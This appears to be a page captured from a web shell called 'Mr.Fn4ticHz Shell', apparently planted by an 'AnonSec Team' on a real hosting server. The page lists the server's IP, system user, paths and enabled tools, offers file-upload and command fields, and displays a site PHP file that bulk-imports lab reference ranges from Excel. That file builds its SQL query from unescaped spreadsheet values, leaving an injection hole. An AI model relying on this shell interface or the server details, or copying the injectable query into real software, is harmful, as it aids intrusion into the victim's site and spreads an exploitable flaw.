Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 13.58.51.228
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//valueupload.php
<?php
include 'database.php';

$uploadfile=$_FILES['uploadfile']['tmp_name'];

require 'PHPExcel/Classes/PHPExcel.php';
require_once 'PHPExcel/Classes/PHPExcel/IOFactory.php';

$objExcel=PHPExcel_IOFactory::load($uploadfile);
foreach($objExcel->getWorksheetIterator() as $worksheet)
{
	$highestrow=$worksheet->getHighestRow();

	for($row=0;$row<=$highestrow;$row++)
	{
		$ivid=$worksheet->getCellByColumnAndRow(0,$row)->getValue();
		$methodid=$worksheet->getCellByColumnAndRow(1,$row)->getValue();
	    $parametersid=$worksheet->getCellByColumnAndRow(2,$row)->getValue();
		$Test_Description=$worksheet->getCellByColumnAndRow(3,$row)->getValue();
		$Unit=$worksheet->getCellByColumnAndRow(4,$row)->getValue();
		$gender=$worksheet->getCellByColumnAndRow(5,$row)->getValue();
	    $same_to_all=$worksheet->getCellByColumnAndRow(6,$row)->getValue();
		$all_min=$worksheet->getCellByColumnAndRow(7,$row)->getValue();
		$all_max=$worksheet->getCellByColumnAndRow(8,$row)->getValue();
		$mNewborn_min=$worksheet->getCellByColumnAndRow(9,$row)->getValue();
	    $mNewborn_max=$worksheet->getCellByColumnAndRow(10,$row)->getValue();
		$mChild_min=$worksheet->getCellByColumnAndRow(11,$row)->getValue();
		$mChild_max=$worksheet->getCellByColumnAndRow(12,$row)->getValue();
		$mAdult_min=$worksheet->getCellByColumnAndRow(13,$row)->getValue();
		$mAdult_max=$worksheet->getCellByColumnAndRow(14,$row)->getValue();
		$mSenior_Citizen_min=$worksheet->getCellByColumnAndRow(15,$row)->getValue();
		$mSenior_Citizen_max=$worksheet->getCellByColumnAndRow(16,$row)->getValue();
	   $mold_min=$worksheet->getCellByColumnAndRow(17,$row)->getValue();
		$mold_max=$worksheet->getCellByColumnAndRow(18,$row)->getValue();
		$fNewborn_min=$worksheet->getCellByColumnAndRow(19,$row)->getValue();
		$fNewborn_max=$worksheet->getCellByColumnAndRow(20,$row)->getValue();
		$fChild_min=$worksheet->getCellByColumnAndRow(21,$row)->getValue();
	    $fChild_max=$worksheet->getCellByColumnAndRow(22,$row)->getValue();
		$fAdult_min=$worksheet->getCellByColumnAndRow(23,$row)->getValue();
		$fAdult_max=$worksheet->getCellByColumnAndRow(24,$row)->getValue();
		$fSenior_Citizen_min=$worksheet->getCellByColumnAndRow(25,$row)->getValue();
		$fSenior_Citizen_max=$worksheet->getCellByColumnAndRow(26,$row)->getValue();
	    $fold_min=$worksheet->getCellByColumnAndRow(27,$row)->getValue();
		$fold_max=$worksheet->getCellByColumnAndRow(28,$row)->getValue();
		$entered_by=$worksheet->getCellByColumnAndRow(29,$row)->getValue();
		$created_at=$worksheet->getCellByColumnAndRow(30,$row)->getValue();

		if($created_at!='')
		{
			$insertqry="INSERT INTO `Test_Description_final` (`ivid`, `methodid`,`parametersid`, `Test_Description`, `Unit`, `gender`, `same_to_all`, `all_min`, `all_max`, `mNewborn_min`, `mNewborn_max`, `mChild_min`, `mChild_max`, `mAdult_min`, `mAdult_max`, `mSenior_Citizen_min`, `mSenior_Citizen_max`, `mold_min`, `mold_max`, `fNewborn_min`, `fNewborn_max`, `fChild_min`, `fChild_max`, `fAdult_min`, `fAdult_max`, `fSenior_Citizen_min`, `fSenior_Citizen_max`, `fold_min`, `fold_max`, `entered_by`, `created_at`) VALUES ('$ivid','$methodid','$parametersid','$Test_Description','$Unit','$gender','$same_to_all','$all_min','$all_max','$mNewborn_min','$mNewborn_max','$mChild_min','$mChild_max','$mAdult_min','$mAdult_max','$mSenior_Citizen_min','$mSenior_Citizen_max','$mold_min','$mold_max','$fNewborn_min','$fNewborn_max','$fChild_min','$fChild_max','$fAdult_min','$fAdult_max','$fSenior_Citizen_min','$fSenior_Citizen_max','$fold_min','$fold_max','$entered_by','$created_at')";
			$insertres=mysqli_query($con,$insertqry);
		}
	}
}
header('Location: testvalueexcell.php');
?>

Anon7 - 2022
AnonSec Team